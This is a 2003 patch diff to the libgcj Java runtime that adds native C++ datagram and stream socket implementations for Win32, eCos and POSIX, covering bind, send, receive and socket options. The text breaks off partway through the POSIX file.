diff -N java/net/natPlainDatagramSocketImplWin32.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainDatagramSocketImplWin32.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,872 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifdef WIN32 + +#include +#include + +#else /* WIN32 */ + +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#include +#include + +#endif /* WIN32 */ + +#if HAVE_BSTRING_H +// Needed for bzero, implicitly used by FD_ZERO on IRIX 5.2 +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DISABLE_JAVA_NET + +void +java::net::PlainDatagramSocketImpl::create () +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.create: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::bind (jint, java::net::InetAddress *) +{ + throw new BindException ( + JvNewStringLatin1 ("DatagramSocketImpl.bind: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.connect: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::disconnect () +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.disconnect: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.peek: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.peekData: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::close () +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.close: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.send: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.receive: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::setTimeToLive (jint) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.setTimeToLive: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::getTimeToLive () +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.getTimeToLive: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *, + java::net::NetworkInterface *, + jboolean) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.mcastGrp: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::setOption (jint, java::lang::Object *) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.setOption: unimplemented")); +} + +java::lang::Object * +java::net::PlainDatagramSocketImpl::getOption (jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.getOption: unimplemented")); +} + +#else /* DISABLE_JAVA_NET */ + + +union SockAddr +{ + struct sockaddr_in address; +#ifdef HAVE_INET6 + struct sockaddr_in6 address6; +#endif +}; + +union McastReq +{ +#if HAVE_STRUCT_IP_MREQ + struct ip_mreq mreq; +#endif +#if HAVE_STRUCT_IPV6_MREQ + struct ipv6_mreq mreq6; +#endif +}; + +union InAddr +{ + struct in_addr addr; +#ifdef HAVE_INET6 + struct in6_addr addr6; +#endif +}; + + +// FIXME: routines here and/or in natPlainSocketImpl.cc could throw +// NoRouteToHostException; also consider UnknownHostException, ConnectException. + +void +java::net::PlainDatagramSocketImpl::create () +{ + int sock = _Jv_socket (AF_INET, SOCK_DGRAM, 0); + + if (sock < 0) + { + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); + } + + _Jv_platform_close_on_exec (sock); + + // We use fnum in place of fd here. From leaving fd null we avoid + // the double close problem in FileDescriptor.finalize. + fnum = sock; +} + +void +java::net::PlainDatagramSocketImpl::bind (jint lport, + java::net::InetAddress *host) +{ + union SockAddr u; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + // FIXME: Use getaddrinfo() to get actual protocol instead of assuming ipv4. + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + + if (len == 4) + { + u.address.sin_family = AF_INET; + + if (host != NULL) + memcpy (&u.address.sin_addr, bytes, len); + else + u.address.sin_addr.s_addr = htonl (INADDR_ANY); + + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (lport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (lport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (_Jv_bind (fnum, ptr, len) == 0) + { + socklen_t addrlen = sizeof(u); + + if (lport != 0) + localPort = lport; + else if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localPort = ntohs (u.address.sin_port); + else + goto error; + + /* Allow broadcast by default. */ + int broadcast = 1; + if (::setsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &broadcast, + sizeof (broadcast)) != 0) + goto error; + + return; + } + + error: + char* strerr = strerror (errno); + throw new java::net::BindException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) +{ + throw new ::java::lang::InternalError (JvNewStringLatin1 ( + "PlainDatagramSocketImpl::connect: not implemented yet")); +} + +void +java::net::PlainDatagramSocketImpl::disconnect () +{ + throw new ::java::lang::InternalError (JvNewStringLatin1 ( + "PlainDatagramSocketImpl::disconnect: not implemented yet")); +} + +jint +java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *i) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + ssize_t retlen = + ::recvfrom (fnum, (char *) NULL, 0, MSG_PEEK, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + i->addr = raddr; + return rport; + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +jint +java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyte *dbytes = elements (p->getData()); + ssize_t retlen = 0; + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException (); + } +#endif /* WIN32 */ + + retlen = + ::recvfrom (fnum, (char *) dbytes, p->getLength(), MSG_PEEK, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + p->setAddress (new InetAddress (raddr, NULL)); + p->setPort (rport); + p->setLength ((jint) retlen); + return rport; + + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +// Close(shutdown) the socket. +void +java::net::PlainDatagramSocketImpl::close () +{ + // Avoid races from asynchronous finalization. + JvSynchronize sync (this); + + // The method isn't declared to throw anything, so we disregard + // the return value. + _Jv_close (fnum); + fnum = -1; + timeout = 0; +} + +void +java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + jint rport = p->getPort(); + union SockAddr u; + jbyteArray haddress = p->getAddress()->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + jbyte *dbytes = elements (p->getData()); + if (len == 4) + { + u.address.sin_family = AF_INET; + memcpy (&u.address.sin_addr, bytes, len); + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (rport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (rport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::sendto (fnum, (char *) dbytes, p->getLength(), 0, ptr, len) >= 0) + return; + + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyte *dbytes = elements (p->getData()); + ssize_t retlen = 0; + +// FIXME: implement timeout support for Win32 +#ifndef WIN32 + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException (); + } +#endif /* WIN32 */ + + retlen = + ::recvfrom (fnum, (char *) dbytes, p->getLength(), 0, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + p->setAddress (new InetAddress (raddr, NULL)); + p->setPort (rport); + p->setLength ((jint) retlen); + return; + + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::setTimeToLive (jint ttl) +{ + // Assumes IPPROTO_IP rather than IPPROTO_IPV6 since socket created is IPv4. + char val = (char) ttl; + socklen_t val_len = sizeof(val); + + if (::setsockopt (fnum, IPPROTO_IP, IP_MULTICAST_TTL, &val, val_len) == 0) + return; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +jint +java::net::PlainDatagramSocketImpl::getTimeToLive () +{ + // Assumes IPPROTO_IP rather than IPPROTO_IPV6 since socket created is IPv4. + char val; + socklen_t val_len = sizeof(val); + + if (::getsockopt (fnum, IPPROTO_IP, IP_MULTICAST_TTL, &val, &val_len) == 0) + return ((int) val) & 0xFF; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *inetaddr, + java::net::NetworkInterface *, + jboolean join) +{ + // FIXME: implement use of NetworkInterface + + union McastReq u; + jbyteArray haddress = inetaddr->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + int level, opname; + const char *ptr; + if (0) + ; +#if HAVE_STRUCT_IP_MREQ + else if (len == 4) + { + level = IPPROTO_IP; + opname = join ? IP_ADD_MEMBERSHIP : IP_DROP_MEMBERSHIP; + memcpy (&u.mreq.imr_multiaddr, bytes, len); + // FIXME: If a non-default interface is set, use it; see Stevens p. 501. + // Maybe not, see note in last paragraph at bottom of Stevens p. 497. + u.mreq.imr_interface.s_addr = htonl (INADDR_ANY); + len = sizeof (struct ip_mreq); + ptr = (const char *) &u.mreq; + } +#endif +#if HAVE_STRUCT_IPV6_MREQ + else if (len == 16) + { + level = IPPROTO_IPV6; + + /* Prefer new RFC 2553 names. */ +#ifndef IPV6_JOIN_GROUP +#define IPV6_JOIN_GROUP IPV6_ADD_MEMBERSHIP +#endif +#ifndef IPV6_LEAVE_GROUP +#define IPV6_LEAVE_GROUP IPV6_DROP_MEMBERSHIP +#endif + + opname = join ? IPV6_JOIN_GROUP : IPV6_LEAVE_GROUP; + memcpy (&u.mreq6.ipv6mr_multiaddr, bytes, len); + // FIXME: If a non-default interface is set, use it; see Stevens p. 501. + // Maybe not, see note in last paragraph at bottom of Stevens p. 497. + u.mreq6.ipv6mr_interface = 0; + len = sizeof (struct ipv6_mreq); + ptr = (const char *) &u.mreq6; + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::setsockopt (fnum, level, opname, ptr, len) == 0) + return; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::setOption (jint optID, + java::lang::Object *value) +{ + int val; + socklen_t val_len = sizeof (val); + + if (fnum < 0) + throw new java::net::SocketException (JvNewStringUTF ("Socket closed")); + + if (_Jv_IsInstanceOf (value, &java::lang::Boolean::class$)) + { + java::lang::Boolean *boolobj = + static_cast (value); + val = boolobj->booleanValue() ? 1 : 0; + } + else if (_Jv_IsInstanceOf (value, &java::lang::Integer::class$)) + { + java::lang::Integer *intobj = + static_cast (value); + val = (int) intobj->intValue(); + } + // Else assume value to be an InetAddress for use with IP_MULTICAST_IF. + + switch (optID) + { + case _Jv_TCP_NODELAY_ : + throw new java::net::SocketException ( + JvNewStringUTF ("TCP_NODELAY not valid for UDP")); + return; + case _Jv_SO_LINGER_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_LINGER not valid for UDP")); + return; + case _Jv_SO_KEEPALIVE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_KEEPALIVE not valid for UDP")); + return; + + case _Jv_SO_BROADCAST_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_OOBINLINE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_OOBINLINE: not valid for UDP")); + break; + + case _Jv_SO_SNDBUF_ : + case _Jv_SO_RCVBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::setsockopt (fnum, SOL_SOCKET, opt, (char *) &val, val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + return; + case _Jv_SO_REUSEADDR_ : +#if defined(SO_REUSEADDR) + if (::setsockopt (fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &val, + val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_REUSEADDR not supported")); +#endif + return; + case _Jv_SO_BINDADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_BINDADDR: read only option")); + return; + case _Jv_IP_MULTICAST_IF_ : + union InAddr u; + jbyteArray haddress; + jbyte *bytes; + int len; + int level, opname; + const char *ptr; + + haddress = ((java::net::InetAddress *) value)->addr; + bytes = elements (haddress); + len = haddress->length; + if (len == 4) + { + level = IPPROTO_IP; + opname = IP_MULTICAST_IF; + memcpy (&u.addr, bytes, len); + len = sizeof (struct in_addr); + ptr = (const char *) &u.addr; + } +// Tru64 UNIX V5.0 has struct sockaddr_in6, but no IPV6_MULTICAST_IF +#if defined (HAVE_INET6) && defined (IPV6_MULTICAST_IF) + else if (len == 16) + { + level = IPPROTO_IPV6; + opname = IPV6_MULTICAST_IF; + memcpy (&u.addr6, bytes, len); + len = sizeof (struct in6_addr); + ptr = (const char *) &u.addr6; + } +#endif + else + throw + new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::setsockopt (fnum, level, opname, ptr, len) != 0) + goto error; + return; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not yet implemented")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_LOOP: not yet implemented")); + break; + + case _Jv_IP_TOS_ : + if (::setsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + val_len) != 0) + goto error; + return; + + case _Jv_SO_TIMEOUT_ : + timeout = val; + return; + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +java::lang::Object * +java::net::PlainDatagramSocketImpl::getOption (jint optID) +{ + int val; + socklen_t val_len = sizeof(val); + union SockAddr u; + socklen_t addrlen = sizeof(u); + + switch (optID) + { + case _Jv_TCP_NODELAY_ : + throw new java::net::SocketException ( + JvNewStringUTF ("TCP_NODELAY not valid for UDP")); + break; + case _Jv_SO_LINGER_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_LINGER not valid for UDP")); + break; + case _Jv_SO_KEEPALIVE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_KEEPALIVE not valid for UDP")); + break; + + case _Jv_SO_BROADCAST_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); + + case _Jv_SO_OOBINLINE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_OOBINLINE not valid for UDP")); + break; + + case _Jv_SO_RCVBUF_ : + case _Jv_SO_SNDBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::getsockopt (fnum, SOL_SOCKET, opt, (char *) &val, &val_len) != 0) + goto error; + else + return new java::lang::Integer (val); +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + break; + case _Jv_SO_BINDADDR_: + // cache the local address + if (localAddress == NULL) + { + jbyteArray laddr; + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) != 0) + goto error; + if (u.address.sin_family == AF_INET) + { + laddr = JvNewByteArray (4); + memcpy (elements (laddr), &u.address.sin_addr, 4); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + laddr = JvNewByteArray (16); + memcpy (elements (laddr), &u.address6.sin6_addr, 16); + } +#endif + else + throw new java::net::SocketException ( + JvNewStringUTF ("invalid family")); + localAddress = new java::net::InetAddress (laddr, NULL); + } + return localAddress; + break; + case _Jv_SO_REUSEADDR_ : +#if defined(SO_REUSEADDR) + if (::getsockopt (fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_REUSEADDR not supported")); +#endif + break; + case _Jv_IP_MULTICAST_IF_ : +#ifdef HAVE_INET_NTOA + struct in_addr inaddr; + socklen_t inaddr_len; + char *bytes; + + inaddr_len = sizeof(inaddr); + if (::getsockopt (fnum, IPPROTO_IP, IP_MULTICAST_IF, (char *) &inaddr, + &inaddr_len) != 0) + goto error; + + bytes = inet_ntoa (inaddr); + + return java::net::InetAddress::getByName (JvNewStringLatin1 (bytes)); +#else + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF: not available - no inet_ntoa()")); +#endif + break; + case _Jv_SO_TIMEOUT_ : + return new java::lang::Integer (timeout); + break; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not yet implemented")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_MULTICAST_LOOP, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); + + case _Jv_IP_TOS_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Integer (val); + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +#endif /* DISABLE_JAVA_NET */ Index: java/net/natPlainSocketImplEcos.cc =================================================================== RCS file: java/net/natPlainSocketImplEcos.cc diff -N java/net/natPlainSocketImplEcos.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainSocketImplEcos.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,124 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#include + +void +java::net::PlainSocketImpl::create (jboolean) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.create: unimplemented")); +} + +void +java::net::PlainSocketImpl::bind (java::net::InetAddress *, jint) +{ + throw new BindException ( + JvNewStringLatin1 ("SocketImpl.bind: unimplemented")); +} + +void +java::net::PlainSocketImpl::connect (java::net::SocketAddress *, jint) +{ + throw new ConnectException ( + JvNewStringLatin1 ("SocketImpl.connect: unimplemented")); +} + +void +java::net::PlainSocketImpl::listen (jint) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.listen: unimplemented")); +} + +void +java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.accept: unimplemented")); +} + +void +java::net::PlainSocketImpl::setOption (jint, java::lang::Object *) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.setOption: unimplemented")); +} + +java::lang::Object * +java::net::PlainSocketImpl::getOption (jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.getOption: unimplemented")); +} + +jint +java::net::PlainSocketImpl::read(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.read: unimplemented")); +} + +jint +java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.read: unimplemented")); +} + +void +java::net::PlainSocketImpl::write(jint b) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.write: unimplemented")); +} + +void +java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.write: unimplemented")); +} + +void +java::net::PlainSocketImpl::sendUrgentData(jint data) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.sendUrgentData: unimplemented")); +} + +jint +java::net::PlainSocketImpl::available(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.available: unimplemented")); +} + +void +java::net::PlainSocketImpl::close(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.close: unimplemented")); +} + +void +java::net::PlainSocketImpl::shutdownInput (void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.shutdownInput: unimplemented")); +} + +void +java::net::PlainSocketImpl::shutdownOutput (void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.shutdownOutput: unimplemented")); +} Index: java/net/natPlainSocketImplPosix.cc =================================================================== RCS file: java/net/natPlainSocketImplPosix.cc diff -N java/net/natPlainSocketImplPosix.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainSocketImplPosix.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,978 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifndef DISABLE_JAVA_NET + +#ifdef HAVE_SYS_IOCTL_H +#define BSD_COMP /* Get FIONREAD on Solaris2. */ +#include +#endif + +// Pick up FIONREAD on Solaris 2.5. +#ifdef HAVE_SYS_FILIO_H +#include +#endif + +#include +#include +#include +#include + +#endif /* DISABLE_JAVA_NET */ + +#if HAVE_BSTRING_H +// Needed for bzero, implicitly used by FD_ZERO on IRIX 5.2 +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DISABLE_JAVA_NET + +void +java::net::PlainSocketImpl::create (jboolean) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.create: unimplemented")); +} + +void +java::net::PlainSocketImpl::bind (java::net::InetAddress *, jint) +{ + throw new BindException ( + JvNewStringLatin1 ("SocketImpl.bind: unimplemented")); +} + +void +java::net::PlainSocketImpl::connect (java::net::SocketAddress *, jint) +{ + throw new ConnectException ( + JvNewStringLatin1 ("SocketImpl.connect: unimplemented")); +} + +void +java::net::PlainSocketImpl::listen (jint) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.listen: unimplemented")); +} + +void +java::net::PlainSocketImpl::accept (java::net::PlainSocketImpl *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("SocketImpl.accept: unimplemented")); +} + +void +java::net::PlainSocketImpl::setOption (jint, java::lang::Object *) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.setOption: unimplemented")); +} + +java::lang::Object * +java::net::PlainSocketImpl::getOption (jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.getOption: unimplemented")); +} + +jint +java::net::PlainSocketImpl::read(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.read: unimplemented")); +} + +jint +java::net::PlainSocketImpl::read(jbyteArray buffer, jint offset, jint count) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.read: unimplemented")); +} + +void +java::net::PlainSocketImpl::write(jint b) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.write: unimplemented")); +} + +void +java::net::PlainSocketImpl::write(jbyteArray b, jint offset, jint len) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.write: unimplemented")); +} + +void +java::net::PlainSocketImpl::sendUrgentData(jint data) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.sendUrgentData: unimplemented")); +} + +jint +java::net::PlainSocketImpl::available(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.available: unimplemented")); +} + +void +java::net::PlainSocketImpl::close(void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.close: unimplemented")); +} + +void +java::net::PlainSocketImpl::shutdownInput (void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.shutdownInput: unimplemented")); +} + +void +java::net::PlainSocketImpl::shutdownOutput (void) +{ + throw new SocketException ( + JvNewStringLatin1 ("SocketImpl.shutdownOutput: unimplemented")); +} + +#else /* DISABLE_JAVA_NET */ + +union SockAddr +{ + struct sockaddr_in address; +#ifdef HAVE_INET6 + struct sockaddr_in6 address6; +#endif +}; + +void +java::net::PlainSocketImpl::create (jboolean stream) +{ + int sock = _Jv_socket (AF_INET, stream ? SOCK_STREAM : SOCK_DGRAM, 0); + + if (sock < 0) + { + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); + } + + _Jv_platform_close_on_exec (sock); + + // We use fnum in place of fd here. From leaving fd null we avoid + // the double close problem in FileDescriptor.finalize. + fnum = sock; +} + +void +java::net::PlainSocketImpl::bind (java::net::InetAddress *host, jint lport) +{ + union SockAddr u; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + int i = 1; + + if (len == 4) + { + u.address.sin_family = AF_INET; + + if (host != NULL) + memcpy (&u.address.sin_addr, bytes, len); + else + u.address.sin_addr.s_addr = htonl (INADDR_ANY); + + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (lport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct 